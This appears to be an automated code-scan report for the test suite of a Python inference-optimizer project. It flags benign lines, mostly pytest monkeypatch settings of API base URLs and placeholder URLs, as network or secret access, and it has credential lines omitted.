monkeypatch.delenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", raising=False) monkeypatch.setenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", "1") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") - Network accessline 1725
monkeypatch.setenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", "1") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") monkeypatch.setenv("OPENAI_BASE_URL", "https://api.deepseek.com/v1") - Network accessline 1726
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") - Network accessline 1727
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.deepseek.com/v1") - Access to secretsline 1733
[Credential-related source omitted] - Network accessline 1744
assert probed == ["https://api.deepseek.com/anthropic", "https://api.deepseek.com/v1"] - Network accessline 1754
monkeypatch.delenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", raising=False) monkeypatch.setenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", "1") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.amd.example/Anthropic") - Network accessline 1755
monkeypatch.setenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", "1") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.amd.example/Anthropic") monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.amd.example/Unified/v1") - Network accessline 1756
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.amd.example/Anthropic") - Network accessline 1757
monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.amd.example/Unified/v1") - Access to secretsline 1763
[Credential-related source omitted] - Network accessline 1772
model_catalog._validate_and_resolve_claude_model(args, ("", ""), claude_follows_codex=False) assert probed == ["https://llm.amd.example/Anthropic"] - Network accessline 1773
assert probed == ["https://llm.amd.example/Anthropic"] - Network accessline 1780
monkeypatch.delenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", raising=False) monkeypatch.setenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", "1") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 1781
monkeypatch.setenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", "1") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 1782
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 1783
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 1797
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1815
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1832
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1846
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1898
attempt[0] += 1 if attempt[0] <= 2: raise httpx.ConnectError(f"transient {attempt[0]}") - Network accessline 1899
if attempt[0] <= 2: raise httpx.ConnectError(f"transient {attempt[0]}") return _FakeResp(200, {"data": [{"id": "claude-opus-4-7"}]}) - Network accessline 1900
raise httpx.ConnectError(f"transient {attempt[0]}") - Network accessline 1910
ids = model_catalog._probe_llm_catalog( base_url="https://gateway/v1", - Network accessline 1911
base_url="https://gateway/v1", - Access to secretsline 1912
[Credential-related source omitted] - Network accessline 1933
ids = model_catalog._probe_llm_catalog( base_url="https://llm.example.invalid/anthropic", - Network accessline 1934
base_url="https://llm.example.invalid/anthropic", - Access to secretsline 1935
[Credential-related source omitted] - Network accessline 1936
) assert ids == {"claude-opus-4-6"} assert seen["url"] == "https://llm.example.invalid/anthropic/models" - Network accessline 1937
assert ids == {"claude-opus-4-6"} assert seen["url"] == "https://llm.example.invalid/anthropic/models" assert seen["headers"]["Ocp-Apim-Subscription-Key"] == "sub-key" - Network accessline 1938
assert seen["url"] == "https://llm.example.invalid/anthropic/models" - Network accessline 1945
monkeypatch.setattr("time.sleep", lambda s: None) monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.example.invalid/Unified/v1") - Network accessline 1946
monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.example.invalid/Unified/v1") - Network accessline 1958
[Credential-related source omitted] - Access to secretsline 1958
[Credential-related source omitted] - Network accessline 1973
[Credential-related source omitted] - Access to secretsline 1973
[Credential-related source omitted] - Network accessline 1989
ids = model_catalog._probe_llm_catalog( base_url="https://gateway/v1", - Network accessline 1990
base_url="https://gateway/v1", - Access to secretsline 1991
[Credential-related source omitted] - Access to secretsline 2002
[Credential-related source omitted] - Network accessline 2017
[Credential-related source omitted] - Access to secretsline 2017
[Credential-related source omitted] - Network accessline 2032
[Credential-related source omitted] - Access to secretsline 2032
[Credential-related source omitted] - Network accessline 2037
args = _make_args(codex_model="gpt-99.9", critic_mock=False) monkeypatch.setattr(model_catalog, "_probe_llm_catalog", lambda **kw: {"claude-opus-4-7", "gpt-5.4", "gpt-4.1"}) model_catalog._smoke_test_codex_model(args, ("https://anth - Network accessline 2038
monkeypatch.setattr(model_catalog, "_probe_llm_catalog", lambda **kw: {"claude-opus-4-7", "gpt-5.4", "gpt-4.1"}) model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) out = capsys.readouterr().out - Network accessline 2039
model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) - Network accessline 2054
monkeypatch.setattr(model_catalog, "_probe_llm_catalog", _capture) args = _make_args(codex_model="gpt-5.4", critic_mock=False) model_catalog._smoke_test_codex_model(args, ("https://api.anthropic.com", "https://api.openai.com/v1")) - Network accessline 2055
args = _make_args(codex_model="gpt-5.4", critic_mock=False) model_catalog._smoke_test_codex_model(args, ("https://api.anthropic.com", "https://api.openai.com/v1")) assert seen["base_url"] == "https://api.openai.com/v1" - Network accessline 2056
model_catalog._smoke_test_codex_model(args, ("https://api.anthropic.com", "https://api.openai.com/v1")) - Network accessline 2057
assert seen["base_url"] == "https://api.openai.com/v1" - Network accessline 2061
monkeypatch.setattr(model_catalog, "_probe_llm_catalog", lambda **kw: {"claude-opus-4-7", "gpt-5.4"}) args = _make_args(codex_model="gpt-5.4", critic_mock=False) model_catalog._smoke_test_codex_model(args, ("https://anthropic", "htt - Network accessline 2062
args = _make_args(codex_model="gpt-5.4", critic_mock=False) model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) out = capsys.readouterr().out - Network accessline 2063
model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) - Network accessline 2071
monkeypatch.setattr(model_catalog, "_probe_llm_catalog", lambda **kw: {"gpt-5.5", "gpt-5.4"}) args = _make_args(codex_model="gpt-5.6-sol", critic_mock=False) model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https:/ - Network accessline 2073
model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) - Network accessline 2082
monkeypatch.setattr(model_catalog, "_probe_llm_catalog", lambda **kw: {"gpt-5.6-sol", "gpt-5.5"}) args = _make_args(codex_model="gpt-6-astra", critic_mock=False) model_catalog._smoke_test_codex_model(args, ("https://anthropic", "htt - Network accessline 2084
model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) - Network accessline 2090
monkeypatch.setattr(model_catalog, "_probe_llm_catalog", lambda **kw: {"gpt-5.4", "gpt-4.1"}) args = _make_args(codex_model="gpt-5.6-sol", critic_mock=False) model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https:/ - Network accessline 2092
model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) - Network accessline 2099
monkeypatch.setattr(model_catalog, "_probe_llm_catalog", lambda **kw: {"gpt-5.5", "gpt-5.4"}) args = _make_args(codex_model="my-org/custom-gpt", critic_mock=False) model_catalog._smoke_test_codex_model(args, ("https://anthropic", "h - Network accessline 2101
model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) - Network accessline 2112
monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example/v1") - Access to secretsline 2113
[Credential-related source omitted] - Access to secretsline 2116
[Credential-related source omitted] - Access to secretsline 2117
[Credential-related source omitted] - Access to secretsline 2119
[Credential-related source omitted] - Network accessline 2120
): monkeypatch.delenv(var, raising=False) monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 2122
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 2136
monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example/v1") - Access to secretsline 2137
[Credential-related source omitted] - Access to secretsline 2140
[Credential-related source omitted] - Access to secretsline 2141
[Credential-related source omitted] - Access to secretsline 2143
[Credential-related source omitted] - Network accessline 2144
): monkeypatch.delenv(var, raising=False) monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 2145
monkeypatch.delenv(var, raising=False) monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") monkeypatch.setattr(model_catalog, "_probe_llm_catalog", lambda **kw: {"gpt-5.4"}) - Network accessline 2146
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 2158
monkeypatch.setattr(model_catalog, "_probe_llm_catalog", lambda **kw: None) args = _make_args(codex_model="gpt-5.4", critic_mock=False) model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) - Network accessline 2159
args = _make_args(codex_model="gpt-5.4", critic_mock=False) model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) out = capsys.readouterr().out - Network accessline 2160
model_catalog._smoke_test_codex_model(args, ("https://anthropic", "https://openai/v1")) - Network accessline 2210
sent = _record_critic_probes(monkeypatch) monkeypatch.setattr(model_catalog, "critic_on_codex_side", lambda **kw: False) monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example/v1") - Network accessline 2211
monkeypatch.setattr(model_catalog, "critic_on_codex_side", lambda **kw: False) monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example/v1") monkeypatch.setenv("OPENAI_API_KEY", "openai-key") - Network accessline 2212
monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example/v1") - Access to secretsline 2213
[Credential-related source omitted] - Network accessline 2251
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.example.invalid/anthropic") - Access to secretsline 2253
[Credential-related source omitted] - Access to secretsline 2270
[Credential-related source omitted] - Access to secretsline 2271
[Credential-related source omitted] - Access to secretsline 2274
[Credential-related source omitted] - Access to secretsline 2295
[Credential-related source omitted] - Access to secretsline 2296
[Credential-related source omitted] - Access to secretsline 2299
[Credential-related source omitted] - Network accessline 2313
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") - Network accessline 2314
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.deepseek.com/v1") - Access to secretsline 2318
[Credential-related source omitted] - Network accessline 2332
("anthropic_url", "openai_url", "expected"), [ ("https://api.deepseek.com/anthropic", "https://api.deepseek.com/v1", True), - Network accessline 2333
[ ("https://api.deepseek.com/anthropic", "https://api.deepseek.com/v1", True), ("https://gw.example/x", "https://gw.example/x", True), - Network accessline 2334
("https://api.deepseek.com/anthropic", "https://api.deepseek.com/v1", True), - Network accessline 2335
("https://gw.example/x", "https://gw.example/x", True), - Network accessline 2336
("https://llm.amd.example/Anthropic", "https://llm.amd.example/Unified/v1", True), - Network accessline 2337
("https://api.anthropic.com", "https://api.openai.com/v1", False), - Network accessline 2338
("", "https://api.openai.com/v1", False), - Network accessline 2348
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.example.invalid/anthropic") - Access to secretsline 2350
[Credential-related source omitted] - Network accessline 2364
monkeypatch.setenv("HOME", str(tmp_path)) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.example.invalid/anthropic") - Network accessline 2365
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm.example.invalid/anthropic") - Network accessline 2388
assert resolved == ("https://llm.example.invalid/anthropic", "") - Access to secretsline 2396
[Credential-related source omitted] - Network accessline 2397
[Credential-related source omitted] - Access to secretsline 2397
[Credential-related source omitted] - Network accessline 2398
monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.example.invalid/Unified/v1") monkeypatch.setenv("CODEX_MODEL", "GPT-5.4") - Network accessline 2399
monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.example.invalid/Unified/v1") - Access to secretsline 2413
[Credential-related source omitted] - Network accessline 2414
[Credential-related source omitted] - Access to secretsline 2414
[Credential-related source omitted] - Network accessline 2415
monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.example.invalid/Unified/v1") monkeypatch.setenv("_".join(("OPENAI", "API", "KEY")), "openai-token") - Network accessline 2416
monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.example.invalid/Unified/v1") - Access to secretsline 2424
[Credential-related source omitted] - Network accessline 2429
model_catalog._validate_and_resolve_claude_model( args, ("https://llm.example.invalid/Unified", "https://llm.example.invalid/Unified/v1"), - Network accessline 2430
args, ("https://llm.example.invalid/Unified", "https://llm.example.invalid/Unified/v1"), claude_follows_codex=True, - Network accessline 2431
("https://llm.example.invalid/Unified", "https://llm.example.invalid/Unified/v1"), - Network accessline 2435
[Credential-related source omitted] - Access to secretsline 2435
[Credential-related source omitted] - Access to secretsline 2663
[Credential-related source omitted] - Access to secretsline 2685
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_preflight_client_trust_compat.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_preflight_gpu_visibility.py
src/hyperloom/inference_optimizer/tests/test_preflight_kernel_tuning_clis.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_preflight_lm_eval_dep.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_preflight_optimizer.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_preflight_ray_overrides.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_preflight_ray_version_floor.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_preflight_resume_framework.py
- Executable scriptline 1
Executable file - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_preflight_server_memory.py
- Executable scriptline 1
Executable file - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Access to secretsline 201
[Credential-related source omitted] - Access to secretsline 202
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_preflight_serving_framework.py
- Executable scriptline 1
Executable file - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Network accessline 158
monkeypatch.setenv("BENCHMARK_BASE_URL", "http://serving-host:8888") - Network accessline 166
monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://claw-rayjob:8000") - Access to secretsline 726
[Credential-related source omitted] - Access to secretsline 761
[Credential-related source omitted] - Access to secretsline 870
[Credential-related source omitted] - Access to secretsline 871
[Credential-related source omitted] - Access to secretsline 882
[Credential-related source omitted] - Access to secretsline 883
[Credential-related source omitted] - Access to secretsline 905
[Credential-related source omitted] - Access to secretsline 906
[Credential-related source omitted] - Network accessline 911
[ pytest.param(lambda mp: mp.setenv(_SKIP_ENV, "1"), id="skip_env"), pytest.param(lambda mp: mp.setenv("BENCHMARK_BASE_URL", "http://serving-host:8888"), id="remote_url"), - Network accessline 912
pytest.param(lambda mp: mp.setenv(_SKIP_ENV, "1"), id="skip_env"), pytest.param(lambda mp: mp.setenv("BENCHMARK_BASE_URL", "http://serving-host:8888"), id="remote_url"), pytest.param( - Network accessline 913
pytest.param(lambda mp: mp.setenv("BENCHMARK_BASE_URL", "http://serving-host:8888"), id="remote_url"), - Network accessline 914
pytest.param( lambda mp: ( mp.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://claw-rayjob:8000"), - Network accessline 915
lambda mp: ( mp.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://claw-rayjob:8000"), mp.setenv("INFERENCE_OPTIMIZER_NODES", "2"), - Network accessline 916
mp.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://claw-rayjob:8000"), - Access to secretsline 930
[Credential-related source omitted] - Access to secretsline 931
[Credential-related source omitted] - Access to secretsline 944
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_prelude_roofline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_prelude_warm_kernel_kb.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_profile_and_kernel_handlers.py
- Executable scriptline 1
Executable file - Access to secretsline 113
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 2968
[Credential-related source omitted] - Access to secretsline 3017
[Credential-related source omitted] - Access to secretsline 3038
[Credential-related source omitted] - Access to secretsline 3039
[Credential-related source omitted] - Access to secretsline 3047
[Credential-related source omitted] - Access to secretsline 3048
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_profile_gpu_preflight.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_profile_replay_config.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_profile_startup_shim.py
src/hyperloom/inference_optimizer/tests/test_promote_shared_state_lock.py
- Executable scriptline 1
Executable file - Network accessline 1060
"output_throughput": 130.0, "delta_pct": 30.0, "specialist_task_id": "https://x/pull/1", - Network accessline 1061
"delta_pct": 30.0, "specialist_task_id": "https://x/pull/1", "workspace": "/w", - Network accessline 1062
"specialist_task_id": "https://x/pull/1", - Network accessline 1068
task_id="t1", params={ "framework_agent_candidate_id": "https://x/pull/1", - Network accessline 1069
params={ "framework_agent_candidate_id": "https://x/pull/1", "batch_id": "b1", - Network accessline 1070
"framework_agent_candidate_id": "https://x/pull/1", - Network accessline 1083
assert s.optimization_stack[-1]["variant_name"] == "https://x/pull/1" - Network accessline 1099
"status": "kept", "output_throughput": 130.0, "specialist_task_id": "https://x/pull/7", - Network accessline 1100
"output_throughput": 130.0, "specialist_task_id": "https://x/pull/7", "patches_applied": [str(patch)], - Network accessline 1101
"specialist_task_id": "https://x/pull/7", - Network accessline 1212
"status": "kept", "output_throughput": 130.0, "candidate": {"pr_url": "https://x/pull/8"}, - Network accessline 1213
"output_throughput": 130.0, "candidate": {"pr_url": "https://x/pull/8"}, "patches_applied": [], - Network accessline 1214
"candidate": {"pr_url": "https://x/pull/8"}, - Network accessline 1242
"status": "kept", "output_throughput": 130.0, "candidate": {"pr_url": "https://x/pull/10"}, - Network accessline 1243
"output_throughput": 130.0, "candidate": {"pr_url": "https://x/pull/10"}, "patches_applied": [str(patch)], - Network accessline 1244
"candidate": {"pr_url": "https://x/pull/10"}, - Network accessline 1279
"status": "kept", "output_throughput": 130.0, "specialist_task_id": "https://x/pull/9", - Network accessline 1280
"output_throughput": 130.0, "specialist_task_id": "https://x/pull/9", "patches_applied": [str(patch)], - Network accessline 1281
"specialist_task_id": "https://x/pull/9",
src/hyperloom/inference_optimizer/tests/test_prompt_kernel_lane_ownership.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_prompt_phase_scoping.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_prompt_reference_index.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_proposal_identity_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_proposal_scorer.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_proposal_scorer_coverage_unit.py
- Executable scriptline 1
Executable file - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Network accessline 98
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Network accessline 99
monkeypatch.setenv("OPENAI_BASE_URL", "http://proxy") - Access to secretsline 109
[Credential-related source omitted] - Network accessline 112
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Network accessline 113
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Network accessline 114
monkeypatch.setenv("OPENAI_BASE_URL", "http://proxy") - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Network accessline 128
monkeypatch.delenv("OPENAI_BASE_URL", raising=False) monkeypatch.setenv("ANTHROPIC_AUTH_TOKEN", "anthropic-token") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm-api.amd.com/Anthropic") - Network accessline 129
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Network accessline 130
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://llm-api.amd.com/Anthropic") - Network accessline 134
assert scorer._ensure_client() is not None assert captured["api_key"] == "anthropic-token" assert captured["base_url"] == "https://llm-api.amd.com/Unified/v1" - Access to secretsline 135
[Credential-related source omitted] - Network accessline 136
assert captured["base_url"] == "https://llm-api.amd.com/Unified/v1" - Access to secretsline 140
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_protocol_layer.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_published_service_gate.py
- Executable scriptline 1
Executable file - Network accessline 62
wrapped = httpx.ConnectError(str(cause)) - Network accessline 80
return { "backend": "rayjob", "service_url": "http://svc.project1-dev.svc.cluster.local:8888", - Network accessline 81
"backend": "rayjob", "service_url": "http://svc.project1-dev.svc.cluster.local:8888", "head_pod_ip": "head-svc.project1-dev.svc.cluster.local", - Network accessline 82
"service_url": "http://svc.project1-dev.svc.cluster.local:8888", - Network accessline 226
life, "_read_state", lambda: {"backend": "rayjob", "service_url": "http://svc:8888"}, - Network accessline 227
"_read_state", lambda: {"backend": "rayjob", "service_url": "http://svc:8888"}, ) - Network accessline 228
lambda: {"backend": "rayjob", "service_url": "http://svc:8888"}, - Network accessline 296
state = _rewritten_state() assert ext.reachable_service_url(state) == "http://head-svc.project1-dev.svc.cluster.local:8888" - Network accessline 297
assert ext.reachable_service_url(state) == "http://head-svc.project1-dev.svc.cluster.local:8888"
src/hyperloom/inference_optimizer/tests/test_pump_decouple.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_quantization_prelude.py
src/hyperloom/inference_optimizer/tests/test_quick_start_setup_env.py
- Executable scriptline 1
Executable file - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Network accessline 52
[Credential-related source omitted] - Network accessline 53
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Network accessline 54
"OPENAI_BASE_URL": r"https://gateway.example/v1?team=a&env=b|stage", - Network accessline 60
assert r"OPENAI_BASE_URL=https://gateway.example/v1?team=a&env=b|stage" in text - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_ray_backend_unit.py
- Executable scriptline 1
Executable file - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 244
[Credential-related source omitted] - Access to secretsline 738
[Credential-related source omitted] - Access to secretsline 768
[Credential-related source omitted] - Access to secretsline 1654
[Credential-related source omitted] - Access to secretsline 1679
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_ray_connect_probe.py
src/hyperloom/inference_optimizer/tests/test_ray_dashboard.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_ray_serving_process_cleanup.py
src/hyperloom/inference_optimizer/tests/test_recipe_kb_dispatcher.py
- Executable scriptline 1
Executable file - Network accessline 36
{ "canonical_id": _cid(), "prs_tested": [{"url": "https://example.test/pr/1"}], - Network accessline 37
"canonical_id": _cid(), "prs_tested": [{"url": "https://example.test/pr/1"}], } - Network accessline 38
"prs_tested": [{"url": "https://example.test/pr/1"}],
src/hyperloom/inference_optimizer/tests/test_recipe_kb_t0_anchor.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_recipe_sedimentation.py
- Executable scriptline 1
Executable file - Network accessline 52
"layer": "research_hint", "source": "research_scout", "provenance": "https://pr/123", - Network accessline 53
"source": "research_scout", "provenance": "https://pr/123", } - Network accessline 54
"provenance": "https://pr/123", - Network accessline 74
kept, kept_by_gap, reverted = attempt_provenance(coord.shared_state) assert kept == {"mtp_on": "https://pr/123"} - Network accessline 75
assert kept == {"mtp_on": "https://pr/123"} - Network accessline 76
assert kept_by_gap == {"gap.research_hint.0": "https://pr/123"} - Network accessline 77
assert len(reverted) == 1 assert reverted[0]["name"] == "bad_flag" assert reverted[0]["source"] == "https://pr/123" - Network accessline 79
assert reverted[0]["source"] == "https://pr/123" - Network accessline 99
"layer": "research_hint", "source": "research_scout", "provenance": "https://pr/777", - Network accessline 100
"source": "research_scout", "provenance": "https://pr/777", } - Network accessline 101
"provenance": "https://pr/777", - Network accessline 113
attrs = recipe_attrs_from_state(coord.shared_state, coord.session_dir.name) row = next(x for x in attrs["what_worked"] if x["name"] == "k007") assert row["source"] == "https://pr/777" - Network accessline 115
assert row["source"] == "https://pr/777" - Network accessline 127
"layer": "research_hint", "source": "research_scout", "provenance": "https://pr/123", - Network accessline 128
"source": "research_scout", "provenance": "https://pr/123", } - Network accessline 129
"provenance": "https://pr/123", - Network accessline 150
ww = attrs["what_worked"] mtp = next(x for x in ww if x["name"] == "mtp_on") assert mtp["source"] == "https://pr/123" - Network accessline 151
mtp = next(x for x in ww if x["name"] == "mtp_on") assert mtp["source"] == "https://pr/123" assert mtp["gain_pct"] == 4.2 - Network accessline 152
assert mtp["source"] == "https://pr/123" - Network accessline 153
assert mtp["gain_pct"] == 4.2 wf = attrs["what_failed"] assert any(r["name"] == "bad_flag" and r.get("source") == "https://pr/123" for r in wf) - Network accessline 155
assert any(r["name"] == "bad_flag" and r.get("source") == "https://pr/123" for r in wf) - Network accessline 167
"symptom": "enable MTP", "layer": "research_hint", "provenance": "https://pr/123", - Network accessline 168
"layer": "research_hint", "provenance": "https://pr/123", } - Network accessline 169
"provenance": "https://pr/123", - Network accessline 190
"attrs": { "what_worked": [ {"name": "mtp_on", "source": "https://pr/123"}, - Network accessline 191
"what_worked": [ {"name": "mtp_on", "source": "https://pr/123"}, {"name": "fp8_kv"}, - Network accessline 192
{"name": "mtp_on", "source": "https://pr/123"}, - Network accessline 201
assert names == {"mtp_on", "fp8_kv"} mtp = next(p for p in proven if p["name"] == "mtp_on") assert mtp["source"] == "https://pr/123" - Network accessline 203
assert mtp["source"] == "https://pr/123" - Network accessline 232
"extra_envs": {"VLLM_MTP": "1"}, "gain_pct": 4.2, "source": "https://pr/123", - Network accessline 233
"gain_pct": 4.2, "source": "https://pr/123", } - Network accessline 234
"source": "https://pr/123", - Network accessline 243
assert len(worked) == 1 assert worked[0].get("name") == "mtp_on" assert worked[0].get("source") == "https://pr/123" - Network accessline 244
assert worked[0].get("name") == "mtp_on" assert worked[0].get("source") == "https://pr/123" assert worked[0].get("extra_server_args") == "--speculative-num-steps 3" - Network accessline 245
assert worked[0].get("source") == "https://pr/123" - Network accessline 313
"extra_envs": {"VLLM_MTP": "1"}, "gain_pct": 4.2, "source": "https://pr/123", - Network accessline 314
"gain_pct": 4.2, "source": "https://pr/123", } - Network accessline 315
"source": "https://pr/123", - Network accessline 370
framework_name="f", what_worked=[ {"name": "mtp_on", "source": "https://pr/123"}, - Network accessline 371
what_worked=[ {"name": "mtp_on", "source": "https://pr/123"}, {"name": "fp8_kv"}, - Network accessline 372
{"name": "mtp_on", "source": "https://pr/123"}, - Network accessline 383
proven = coord.phase_prelude.warm_recipe_proven_items() assert {p["name"] for p in proven} == {"mtp_on", "fp8_kv"} assert next(p for p in proven if p["name"] == "mtp_on")["source"] == "https://pr/123" - Network accessline 385
assert next(p for p in proven if p["name"] == "mtp_on")["source"] == "https://pr/123" - Network accessline 394
"canonical_id": "gap.research_hint.0", "symptom": "x", "provenance": "https://pr/9", - Network accessline 395
"symptom": "x", "provenance": "https://pr/9", } - Network accessline 396
"provenance": "https://pr/9", - Network accessline 398
) restored = SharedState.from_dict(ss.to_dict()) assert restored.gaps[0]["provenance"] == "https://pr/9" - Network accessline 400
assert restored.gaps[0]["provenance"] == "https://pr/9" - Network accessline 407
inp = SpecialistPromptInputs( domain="serving_specialist", research_hints="- enable MTP (source=https://pr/1)", - Network accessline 408
